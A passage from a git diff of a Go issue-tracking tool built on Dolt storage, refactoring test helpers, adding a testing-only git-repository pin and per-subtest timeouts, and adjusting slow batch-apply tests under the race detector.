.beads/dolt, which stores workspace state as an arbitrary tree of +// files rather than a fixed set of top-level names snapshotFiles's explicit +// list can name). A missing or unreadable dir yields an empty map, not an +// error: a .beads without its own dolt/ is normal (a non-Dolt backend, or a +// workspace that was never provisioned), and must not be treated as 212 +// files vanishing on the "after" side. +func snapshotDoltTree(dir string) map[string]fileSnap { + out := make(map[string]fileSnap) + _ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info == nil || info.IsDir() { + return nil //nolint:nilerr // best-effort snapshot; a walk error just narrows what gets watched + } + rel, relErr := filepath.Rel(dir, path) + if relErr != nil { + rel = path + } + out[rel] = fileSnap{exists: true, size: info.Size(), modUnix: info.ModTime().UnixNano()} + return nil + }) + return out +} + +// diffSnapshots reports entries that appeared, disappeared, or changed size +// between before and after. Checks both directions (before→after for +// removals/changes, after→before for additions) so it works for a recursive +// snapshotDoltTree map, where "after" can legitimately contain keys "before" +// never had — unlike snapshotFiles's fixed name list, where the key set is +// identical on both sides and only the addition-check is a no-op. func diffSnapshots(before, after map[string]fileSnap) string { var out string for name, b := range before { - a := after[name] + a, ok := after[name] + if !ok { + a = fileSnap{exists: false} + } if b.exists != a.exists { out += fmt.Sprintf("- %s: exists %v → %v\n", name, b.exists, a.exists) continue @@ -325,6 +511,11 @@ func diffSnapshots(before, after map[string]fileSnap) string { out += fmt.Sprintf("- %s: size %d → %d\n", name, b.size, a.size) } } + for name, a := range after { + if _, ok := before[name]; !ok && a.exists { + out += fmt.Sprintf("- %s: new file (size %d)\n", name, a.size) + } + } return out } diff --git a/cmd/bd/types_create_agreement_embedded_test.go b/cmd/bd/types_create_agreement_embedded_test.go new file mode 100644 index 000000000..60cecaa42 --- /dev/null +++ b/cmd/bd/types_create_agreement_embedded_test.go @@ -0,0 +1,20 @@ +//go:build cgo + +package main + +import ( + "os" + "testing" +) + +func TestEmbeddedTypesAgreeWithCreate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tac") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + return bdRunWithFlockRetry(t, bd, dir, args...) + }, beadsDir) +} diff --git a/cmd/bd/types_create_agreement_test.go b/cmd/bd/types_create_agreement_test.go index a371dab96..7ee8476ca 100644 --- a/cmd/bd/types_create_agreement_test.go +++ b/cmd/bd/types_create_agreement_test.go @@ -96,18 +96,6 @@ func TestProxiedServerTypesAgreeWithCreate(t *testing.T) { }, p.beadsDir) } -func TestEmbeddedTypesAgreeWithCreate(t *testing.T) { - if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { - t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") - } - t.Parallel() - bd := buildEmbeddedBD(t) - dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tac") - assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { - return bdRunWithFlockRetry(t, bd, dir, args...) - }, beadsDir) -} - // Server mode (`bd init --server` against an external dolt sql-server) lists // through DoltStore.GetCustomTypes, the resolver that used to drop // config.yaml types once the database had any. diff --git a/internal/formula/expand.go b/internal/formula/expand.go index b276d2c39..e5c68b928 100644 --- a/internal/formula/expand.go +++ b/internal/formula/expand.go @@ -77,7 +77,7 @@ func ApplyExpansions(steps []*Step, compose *ComposeRules, parser *Parser) ([]*S vars := mergeVars(expFormula, rule.Vars) // Expand the target step (start at depth 0) - expandedSteps, err := expandStep(targetStep, expFormula.Template, 0, vars) + expandedSteps, err := expandStep(targetStep, expFormula.Template, vars) if err != nil { return nil, fmt.Errorf("expand %q: %w", rule.Target, err) } @@ -133,7 +133,7 @@ func ApplyExpansions(steps []*Step, compose *ComposeRules, parser *Parser) ([]*S // Expand each matching step for _, targetStep := range toExpand { - expandedSteps, err := expandStep(targetStep, expFormula.Template, 0, vars) + expandedSteps, err := expandStep(targetStep, expFormula.Template, vars) if err != nil { return nil, fmt.Errorf("map %q -> %q: %w", rule.Select, targetStep.ID, err) } @@ -189,13 +189,12 @@ func countStepIDs(steps []*Step, counts map[string]int) { } } -// expandStep expands a target step using the given template. -// Returns the expanded steps with placeholders substituted. -// The depth parameter tracks recursion depth for children; if it exceeds -// DefaultMaxExpansionDepth, an error is returned. +// expandStep expands a target step using the given template, starting at +// recursion depth 0 (expandStepWith tracks depth for nested children; if it +// exceeds DefaultMaxExpansionDepth, an error is returned). // The vars parameter provides variable values for {varname} substitution. -func expandStep(target *Step, template []*Step, depth int, vars map[string]string) ([]*Step, error) { - return expandStepWith(target, template, depth, func(s string) string { +func expandStep(target *Step, template []*Step, vars map[string]string) ([]*Step, error) { + return expandStepWith(target, template, 0, func(s string) string { return substituteVars(s, vars) }) } @@ -434,7 +433,7 @@ func MaterializeExpansion(f *Formula, targetID string, vars map[string]string) e return nil } - expandedSteps, err := expandStep(materializeTarget(f, targetID), f.Template, 0, vars) + expandedSteps, err := expandStep(materializeTarget(f, targetID), f.Template, vars) if err != nil { return fmt.Errorf("materializing expansion %q: %w", f.Formula, err) } @@ -542,7 +541,7 @@ func applyInlineExpansionsRecursive(steps []*Step, parser *Parser, depth int) ([ vars := mergeVars(expFormula, step.ExpandVars) // Expand the step using the template (reuse existing expandStep) - expandedSteps, err := expandStep(step, expFormula.Template, 0, vars) + expandedSteps, err := expandStep(step, expFormula.Template, vars) if err != nil { return nil, fmt.Errorf("inline expand on step %q: %w", step.ID, err) } diff --git a/internal/formula/expand_test.go b/internal/formula/expand_test.go index 63b2bb968..61f8b698f 100644 --- a/internal/formula/expand_test.go +++ b/internal/formula/expand_test.go @@ -87,7 +87,7 @@ func TestExpandStep(t *testing.T) { }, } - result, err := expandStep(target, template, 0, nil) + result, err := expandStep(target, template, nil) if err != nil { t.Fatalf("expandStep failed: %v", err) } @@ -138,7 +138,7 @@ func TestExpandStepDepthLimit(t *testing.T) { // With depth 0 start, going to level 6 means 7 levels total (0-6) // DefaultMaxExpansionDepth is 5, so this should fail - _, err := expandStep(target, template, 0, nil) + _, err := expandStep(target, template, nil) if err == nil { t.Fatal("expected depth limit error, got nil") } @@ -159,7 +159,7 @@ func TestExpandStepDepthLimit(t *testing.T) { } shallowTemplate := []*Step{shallowChild} - result, err := expandStep(target, shallowTemplate, 0, nil) + result, err := expandStep(target, shallowTemplate, nil) if err != nil { t.Fatalf("expected shallow template to succeed, got: %v", err) } diff --git a/internal/git/gitdir.go b/internal/git/gitdir.go index 1e82e14cf..9977e7735 100644 --- a/internal/git/gitdir.go +++ b/internal/git/gitdir.go @@ -31,8 +31,29 @@ type gitContext struct { var ( gitCtxOnce sync.Once gitCtx gitContext + + // pinnedRootForTesting is the root directory PinNoRepositoryUnderForTesting + // was given, or "" when no pin is active. Deliberately NOT cleared by + // ResetCaches: see that function's comment and PinNoRepositoryUnderForTesting's + // doc for why the pin must outlive a cache reset to do its job. + pinnedRootForTesting string ) +// underPinnedRootForTesting reports whether wd is pinnedRootForTesting itself +// or a descendant of it. Called with the live working directory on every +// getGitContext lookup while a pin is active, so a test that chdirs outside +// the pinned root (e.g. into its own t.TempDir() fixture) still gets real git +// detection scoped to that fixture. +func underPinnedRootForTesting(wd string) bool { + if pinnedRootForTesting == "" || wd == "" { + return false + } + if wd == pinnedRootForTesting { + return true + } + return strings.HasPrefix(wd, pinnedRootForTesting+string(filepath.Separator)) +} + // initGitContext populates the gitContext with a single git call. // This is called once per process via sync.Once. func initGitContext() { @@ -234,6 +255,11 @@ func ResolveWorkTreelessHooksContext(workDir string, env []string) (HooksContext // getGitContext returns the cached git context, initializing it if needed. func getGitContext() (*gitContext, error) { + if pinnedRootForTesting != "" { + if wd, err := os.Getwd(); err == nil && underPinnedRootForTesting(wd) { + return nil, errPinnedNoRepository + } + } gitCtxOnce.Do(initGitContext) if gitCtx.err != nil { return nil, gitCtx.err @@ -470,12 +496,75 @@ func NormalizePath(path string) string { // In production, these caches are safe because the working directory // doesn't change during a single command execution. // +// Deliberately does NOT clear a PinNoRepositoryUnderForTesting pin: that pin +// is directory-scoped (re-evaluated against the live working directory on +// every call, not baked into the one-shot gitCtx this function clears), so a +// test fixture that chdirs out of the pinned root, calls ResetCaches, and +// does real git work there is unaffected — and a test that chdirs back under +// the pinned root and calls ResetCaches on the way out (e.g. cmd/bd's +// runInDir/resetRepoCachesForTest idiom) must keep answering "not a +// repository", or every later test in the binary loses the fence the pin +// exists to provide. See PinNoRepositoryUnderForTesting. +// // WARNING: Not thread-safe. Only call from single-threaded test contexts. func ResetCaches() { gitCtxOnce = sync.Once{} gitCtx = gitContext{} } +// errPinnedNoRepository is returned by getGitContext for any working +// directory PinNoRepositoryUnderForTesting pinned. +var errPinnedNoRepository = errors.New("not a git repository (pinned for testing)") + +// PinNoRepositoryUnderForTesting pins "not a git repository" for root and +// every directory under it, so IsWorktree, GetRepoRoot, and GetMainRepoRoot +// answer as if no repository were present for any process working directory +// at or below root — including across ResetCaches, unlike the one-shot +// sentinel this replaced. +// +// This exists for whole-binary test fencing (GH#7145-style cmd/bd pollution): +// without it, the first cached-git-context call made anywhere in a test +// binary — before any individual test has had a chance to chdir into its own +// fixture — permanently answers for the rest of the process from whatever +// repository the binary happened to start in. For a worktree checkout, that +// answer includes a real --git-common-dir, which beads' worktree-fallback +// discovery (FindBeadsDir) treats as license to read and write the main +// checkout's shared .beads database. root should be the repository root the +// test binary started in (not a narrower directory like the package dir), +// so the fence covers any subdirectory of that checkout a test might chdir +// into without leaving it. +// +// The pin is directory-scoped, not a cache snapshot: getGitContext checks +// the live working directory against root on every call, before touching +// gitCtxOnce/gitCtx at all. A test that chdirs to a fixture OUTSIDE root +// (e.g. its own t.TempDir(), which is not nested under a checkout root) and +// calls ResetCaches gets real git detection scoped to that fixture, exactly +// as before this pin existed (see cmd/bd/git_test_helpers.go's runInDir). +// A test that chdirs back under root — including the package directory +// itself, where most tests run without ever chdir'ing away — keeps +// answering "not a repository" even after ResetCaches, because ResetCaches +// does not clear pinnedRootForTesting. +// +// This lives in production code rather than a _test.go file (like +// ResetCaches, which it pairs with) only so a test binary's TestMain can call +// it: TestMain runs in the package under test, not in a _test.go-only +// helper's package, and Go does not let a non-test file reach a _test.go +// identifier. Treat it exactly like ResetCaches despite that: the only +// intended caller is a TestMain (currently cmd/bd's), called once, before +// m.Run(). Production code must never call this. +// +// WARNING: Not thread-safe, like ResetCaches. Only call before m.Run(), +// before any goroutines that might read the git context are started. +func PinNoRepositoryUnderForTesting(root string) { + abs, err := filepath.Abs(root) + if err == nil { + root = abs + } + pinnedRootForTesting = root + gitCtxOnce = sync.Once{} + gitCtx = gitContext{} +} + // IsJujutsuRepo returns true if the current directory is in a jujutsu (jj) repository. // Jujutsu stores its data in a .jj directory at the repository root. func IsJujutsuRepo() bool { diff --git a/internal/git/gitdir_test.go b/internal/git/gitdir_test.go index 3301366e1..368a9d463 100644 --- a/internal/git/gitdir_test.go +++ b/internal/git/gitdir_test.go @@ -42,6 +42,67 @@ func setupTestRepo(t *testing.T) (repoPath string, cleanup func()) { return repoPath, cleanup } +// TestPinNoRepositoryUnderForTestingSurvivesResetCaches is a probe for the +// bug a branch reviewer found in the original PinNoRepositoryForTesting: it +// seeded a one-shot sentinel into gitCtx, but ResetCaches (called by every +// test fixture that chdirs, e.g. cmd/bd's runInDir/resetRepoCachesForTest) +// unconditionally cleared gitCtx, including that sentinel — so the pin was +// gone the moment any single test in the binary chdir'd and reset caches, +// defeating the whole-binary fence for every test after the first one that +// did. PinNoRepositoryUnderForTesting fixes this by making the pin +// directory-scoped and independent of gitCtx/gitCtxOnce, so ResetCaches +// cannot clear it. This test reproduces the reviewer's repro: pin a real +// repo root, simulate a fixture that chdirs OUT to its own directory and +// resets caches (which must restore real detection there), then chdir BACK +// under the pinned root and reset caches again (which must NOT restore real +// detection, because the process never left the pinned root's jurisdiction). +func TestPinNoRepositoryUnderForTestingSurvivesResetCaches(t *testing.T) { + repoPath, _ := setupTestRepo(t) + + origWD, err := os.Getwd() + if err != nil { + t.Fatalf("Getwd: %v", err) + } + t.Cleanup(func() { + if err := os.Chdir(origWD); err != nil { + t.Fatalf("restore working directory: %v", err) + } + pinnedRootForTesting = "" + ResetCaches() + }) + + if err := os.Chdir(repoPath); err != nil { + t.Fatalf("chdir to repo: %v", err) + } + PinNoRepositoryUnderForTesting(repoPath) + + if got := GetRepoRoot(); got != "" { + t.Fatalf("GetRepoRoot() = %q immediately after pinning, want \"\"", got) + } + + // Simulate a fixture OUTSIDE the pinned root: real detection should work + // there, same as before this pin existed, once caches are reset. + fixtureDir := t.TempDir() + if err := os.Chdir(fixtureDir); err != nil { + t.Fatalf("chdir to fixture: %v", err) + } + ResetCaches() + if got := GetRepoRoot(); got != "" { + t.Fatalf("GetRepoRoot() = %q in an unpinned fixture outside the pinned root, want \"\" (fixtureDir is not a repo, but it must not inherit the pinned repo's root either)", got) + } + + // Return to the pinned root and reset caches again — exactly what + // runInDir's deferred cleanup does on the way out of a subtest. The pin + // must still answer "not a repository" here. + if err := os.Chdir(repoPath); err != nil { + t.Fatalf("chdir back to pinned repo: %v", err) + } + ResetCaches() + if got := GetRepoRoot(); got != "" { + t.Fatalf("GetRepoRoot() = %q after ResetCaches back under the pinned root, want \"\" (the pin must survive ResetCaches)", got) + } +} + func TestGetGitHooksDirTildeExpansion(t *testing.T) { // Use an explicit temporary home so tilde expansion is deterministic // regardless of the environment (CI, containers, overridden homes, etc.). diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index d9bd43332..afb3347ea 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -21,125 +21,218 @@ import ( // and one copy-on-write branch. setupTestStore already marks the PARENT // parallel; no subtest here calls t.Parallel, and the history cases take // before/after deltas that are only meaningful while they run sequentially. +// +// Each subtest below calls testContext(t) for its OWN context rather than +// sharing one built once in newDoltBatchApplyFixture. Only the deadline is +// per-subtest; the store and branch above stay shared, and ordering stays +// sequential. See newDoltBatchApplyFixture's doc comment for why. func TestBatchApplyContract(t *testing.T) { - fixture, ctx, cleanup := newDoltBatchApplyFixture(t, "bapply") + fixture, cleanup := newDoltBatchApplyFixture(t, "bapply") defer cleanup() t.Run("AppliesEveryItemInDeclarationOrder", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyAppliesEveryItemInDeclarationOrder(t, ctx, fixture) }) t.Run("BindsEachNamedKeyToItsMintedID", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyBindsEachNamedKeyToItsMintedID(t, ctx, fixture) }) t.Run("ResolvesABackwardKeyRef", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyResolvesABackwardKeyRef(t, ctx, fixture) }) t.Run("RefusesAKeyDeclaredLater", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRefusesAKeyDeclaredLater(t, ctx, fixture) }) t.Run("RefusesAKeyNoItemDeclares", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRefusesAKeyNoItemDeclares(t, ctx, fixture) }) t.Run("RefusesARefNamingNeitherOrBoth", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRefusesARefNamingNeitherOrBoth(t, ctx, fixture) }) t.Run("RollsBackEverythingWhenTheLastItemRefuses", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRollsBackEverythingWhenTheLastItemRefuses(t, ctx, fixture) }) t.Run("NeverReordersItsItems", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyNeverReordersItsItems(t, ctx, fixture) }) t.Run("EndGateRefusesAHierarchyTheRequestBuilt", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyEndGateRefusesAHierarchyTheRequestBuilt(t, ctx, fixture) }) t.Run("EndGateCycleSurvivesSkipPerEdgeCycleCheck", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyEndGateCycleSurvivesSkipPerEdgeCycleCheck(t, ctx, fixture) }) t.Run("ExpectedVersionThatMatchesLetsTheItemThrough", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyExpectedVersionThatMatchesLetsTheItemThrough(t, ctx, fixture) }) t.Run("StaleExpectedVersionRefusesTheWholeRequest", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyStaleExpectedVersionRefusesTheWholeRequest(t, ctx, fixture) }) t.Run("RefusesExpectedVersionOnARowAnEarlierItemTouched", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRefusesExpectedVersionOnARowAnEarlierItemTouched(t, ctx, fixture) }) t.Run("RefusesExpectedVersionOnARowAnEarlierItemCreated", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated(t, ctx, fixture) }) t.Run("EvaluatesExpectedStatusAsModified", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyEvaluatesExpectedStatusAsModified(t, ctx, fixture) }) t.Run("EvaluatesExpectedAssigneeAsModified", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyEvaluatesExpectedAssigneeAsModified(t, ctx, fixture) }) t.Run("ClosePolicyEvaluatesAtTheCloseItem", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyClosePolicyEvaluatesAtTheCloseItem(t, ctx, fixture) }) t.Run("AllowsAClosedParentToGainAnOpenChild", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyAllowsAClosedParentToGainAnOpenChild(t, ctx, fixture) }) t.Run("UpdateAfterCloseInOneRequest", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyUpdateAfterCloseInOneRequest(t, ctx, fixture) }) t.Run("ReportsChangedPerItem", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyReportsChangedPerItem(t, ctx, fixture) }) t.Run("ANoOpBatchRecordsNoHistory", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyANoOpBatchRecordsNoHistory(t, ctx, fixture) }) t.Run("RecordsOneEntryForAWriteThatLandedNothing", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRecordsOneEntryForAWriteThatLandedNothing(t, ctx, fixture) }) t.Run("RecordsExactlyOneHistoryEntry", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRecordsExactlyOneHistoryEntry(t, ctx, fixture) }) t.Run("HistoryNamesTheActorAndReadsTheProvenance", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyHistoryNamesTheActorAndReadsTheProvenance(t, ctx, fixture) }) t.Run("ARefusedRequestRecordsNoHistory", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyARefusedRequestRecordsNoHistory(t, ctx, fixture) }) t.Run("AnEphemeralBatchKeepsItsWispsAndRecordsNoDurableHistory", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyAnEphemeralBatchKeepsItsWispsAndRecordsNoDurableHistory(t, ctx, fixture) }) t.Run("RefusesACrossPlaneEdgeBetweenRowsItCreated", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated(t, ctx, fixture) }) t.Run("AcceptsAnExternalEdgeTarget", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyAcceptsAnExternalEdgeTarget(t, ctx, fixture) }) t.Run("NormalizesTheWaitsForGate", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyNormalizesTheWaitsForGate(t, ctx, fixture) }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) t.Run("SplicesASelfMetadataRef", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplySplicesASelfMetadataRef(t, ctx, fixture) }) t.Run("RefusesAMetadataRefNoItemDeclares", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRefusesAMetadataRefNoItemDeclares(t, ctx, fixture) }) t.Run("TheSpliceRecordsAnUpdateEvent", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyTheSpliceRecordsAnUpdateEvent(t, ctx, fixture) }) t.Run("KeepsAStoredNullApartFromAnEmptyString", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyKeepsAStoredNullApartFromAnEmptyString(t, ctx, fixture) }) t.Run("LandsAnIdempotencyRecordWithItsWork", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyLandsAnIdempotencyRecordWithItsWork(t, ctx, fixture) }) t.Run("BoundsTheItemCount", func(t *testing.T) { + // 3x the package's usual testTimeout, not the standard budget: this + // subtest applies MaxApplyBatchItems (1000) real items and then + // MaxApplyBatchItems+1 more, so it does ~1000x the DB work of a + // typical subtest here. Measured at 66s against the standard 90s + // testTimeout on the server tier (25% headroom) - the same class of + // flake risk testTimeout's own doc comment describes for host + // contention. A dedicated 3x budget gives this one subtest realistic + // headroom without raising the shared testTimeout (and therefore + // every `5*testTimeout` cleanup bound) for every other subtest that + // doesn't need it. + ctx, cancel := context.WithTimeout(context.Background(), 3*testTimeout) + defer cancel() conformance.RunBatchApplyBoundsTheItemCount(t, ctx, fixture) }) t.Run("ReplayMintsANewSetOfRows", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyReplayMintsANewSetOfRows(t, ctx, fixture) }) t.Run("DoesNotMutateTheCallerRequest", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyDoesNotMutateTheCallerRequest(t, ctx, fixture) }) t.Run("RefusesAnUnusableRequest", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() conformance.RunBatchApplyRefusesAnUnusableRequest(t, ctx, fixture) }) } @@ -147,17 +240,25 @@ func TestBatchApplyContract(t *testing.T) { // newDoltBatchApplyFixture composes the frozen role kit with this backend's // accessor. Nothing adapts between the two: the kit's hooks are assignable to // the fixture fields of the same name. -func newDoltBatchApplyFixture(t *testing.T, prefix string) (conformance.BatchApplyFixture, context.Context, func()) { +// +// It deliberately does NOT hand back a shared context: every subtest below +// calls testContext(t) for its own freshly-timed context instead of sharing +// one built here. A single context created once, for every subtest in this +// parent, meant one slow subtest (BoundsTheItemCount's real 1000+1001-item +// apply against the server-Dolt tier) could blow the shared deadline and +// cascade "context deadline exceeded" into every subtest that happened to run +// after it — hiding the real failure behind a wall of unrelated red subtests. +// This mirrors openStoreWithOwnBudget's rationale above (be-gvnsq): giving +// each unit of work its own budget removes the coupling. The STORE and its +// copy-on-write branch are still shared across every subtest, and subtests +// still run sequentially (no t.Parallel) — only the context deadline is +// decoupled. +func newDoltBatchApplyFixture(t *testing.T, prefix string) (conformance.BatchApplyFixture, func()) { t.Helper() store, storeCleanup := setupTestStore(t) - ctx, cancel := testContext(t) - stop := func() { - cancel() - storeCleanup() - } applier, err := store.BatchApplier() if err != nil { - stop() + storeCleanup() t.Fatalf("BatchApplier(): %v", err) } kit := newDoltRoleFixtureKit(store, prefix) @@ -177,5 +278,5 @@ func newDoltBatchApplyFixture(t *testing.T, prefix string) (conformance.BatchApp _, err := store.CommitPending(ctx, "batch-apply-contract") return err }, - }, ctx, stop + }, storeCleanup } diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 40ed1ab76..4e3d1b160 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -189,6 +189,8 @@ go_test( "pull_settle_test.go", "push_commit_pending_test.go", "querier_contract_test.go", + "race_detector_off_test.go", + "race_detector_on_test.go", "reader_contract_test.go", "ready_claimer_contract_test.go", "ready_counter_contract_test.go", diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index ad707b368..439bc1584 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -132,6 +132,38 @@ func TestBatchApplyContract(t *testing.T) { conformance.RunBatchApplyLandsAnIdempotencyRecordWithItsWork(t, ctx, fixture) }) t.Run("BoundsTheItemCount", func(t *testing.T) { + if raceEnabled { + // Under -race this subtest alone measured 903-945s (the + // in-process Dolt engine's own goroutine/lock machinery runs + // inside this instrumented binary; see race_detector_on_test.go), + // which twice pushed shard 4/20 over its 19-minute budget. The + // true production boundary (MaxApplyBatchItems accepted, one + // more refused) is NOT what this shrinks: see + // RunBatchApplyBoundsTheItemCountAtScale's doc comment — that + // boundary is independently pinned, for real and + // sub-millisecond, by internal/storage/batch_apply_test.go's + // TestPlanApplyBatchAcceptsTheBoundary (the SAME + // storage.PlanApplyBatch every backend calls before touching + // storage at all), and the refusing half below still runs at + // the true MaxApplyBatchItems+1 count because that half never + // reaches a transaction either way. Only the "at bound" half's + // REAL applied count drops here, from 1000 to 150 — still + // large enough to prove this backend's own write body (the + // version-commit-published-after-the-tx wrapper that is + // unique to this backend) does not drop, double or truncate a + // big accepted batch. The SAME inner write body + // (internal/storage/issueops.ApplyBatchInTx) this backend + // shares with internal/storage/dolt still gets a real, full + // 1000-item run there, non-race + // (TestBatchApplyContract/BoundsTheItemCount on the + // server-Dolt tier's dolt_race_off build) — unconditionally on + // merge_group/push, conditionally on PRs (full_embedded gating + // in .github/scripts/ci-embedded-tier.sh), not "every PR". See + // large_batch_apply_measure_test.go's updated note for the + // embedded-specific coverage this leaves. + conformance.RunBatchApplyBoundsTheItemCountAtScale(t, ctx, fixture, 150) + return + } conformance.RunBatchApplyBoundsTheItemCount(t, ctx, fixture) }) t.Run("ReplayMintsANewSetOfRows", func(t *testing.T) { diff --git a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go index 5678b3d3c..889e0cd67 100644 --- a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go +++ b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go @@ -254,12 +254,50 @@ var wallClockShapes = []struct { // (internal/httpapi/server.go, 5 minutes): both measured shapes must // complete in a small fraction of that budget for the ceiling to be // generous headroom rather than a number picked out of thin air. +// +// The 1000-item shape is skipped under -race: that shape alone was observed +// taking 597-651s under the embedded tier's --config=embedded (race-enabled) +// CI lane, a multi-x inflation from race-instrumenting the in-process Dolt +// engine's own internal goroutine/lock machinery on every one of its +// hundreds of internal statements, not from anything this test asserts (it +// has no duration or count assertion to weaken). It twice pushed its shard +// over the job's 19-minute test timeout (see embedded-storage-test-shards.txt +// and this package's TestBatchApplyContract for the sibling case). The +// 356-item shape (the design's primary measured shape) always runs, race or +// not — only the 1000-item shape is conditionally skipped above. +// +// Coverage accounting for the skipped 1000-item shape (no assertion is +// weakened here — this test logs timing only — but the real question is +// what still exercises a true 1000-item apply at all): +// - The shared inner write body (internal/storage/issueops.ApplyBatchInTx), +// used by both this package's BatchApplier and internal/storage/dolt's, +// still gets a real, full 1000-item apply with result assertions, +// non-race, via internal/storage/dolt's own +// TestBatchApplyContract/BoundsTheItemCount. That job runs unconditionally +// on merge_group and push, but is conditional on PRs (gated by +// detect-ci-tier's full_embedded output; see +// .github/scripts/ci-embedded-tier.sh) — so "every PR" overstates it. +// - This package's OWN wrapper around that body (the +// version-commit-published-after-the-tx mechanism unique to the embedded +// backend) does NOT get a full 1000-item apply under -race anymore: this +// package's own TestBatchApplyContract/BoundsTheItemCount applies 150 +// items under -race and the full 1000 only when built without -race (see +// its doc comment and conformance.RunBatchApplyBoundsTheItemCountAtScale). +// So as of that change, the largest real, full-assertion apply embedded's +// own wrapper gets under -race, anywhere in CI, is 150 items; without +// -race it still gets the full 1000 in that same subtest. This is a +// known, deliberate gap for the race-enabled lane specifically, not an +// oversight — closing it needs a dedicated non-race embedded run (see the +// nightly workflow step added alongside this comment). func TestLargeBatchApplyWallClock_Embedded(t *testing.T) { skipUnlessEmbeddedDolt(t) ctx := t.Context() for _, tc := range wallClockShapes { t.Run(tc.name, func(t *testing.T) { + if tc.name == "1000" && raceEnabled { + t.Skip("1000-item shape skipped under -race for wall-clock timing; see doc comment above for what still covers a real 1000-item apply") + } fixture := newPristineEmbeddedDoltFixture(t, tc.db) t.Cleanup(func() { closeEmbeddedDoltStore(t, fixture.store) }) diff --git a/internal/storage/embeddeddolt/race_detector_off_test.go b/internal/storage/embeddeddolt/race_detector_off_test.go new file mode 100644 index 000000000..89a81fc8c --- /dev/null +++ b/internal/storage/embeddeddolt/race_detector_off_test.go @@ -0,0 +1,6 @@ +//go:build cgo && !race + +package embeddeddolt_test + +// raceEnabled is false in non-race builds; see race_detector_on_test.go. +const raceEnabled = false diff --git a/internal/storage/embeddeddolt/race_detector_on_test.go b/internal/storage/embeddeddolt/race_detector_on_test.go new file mode 100644 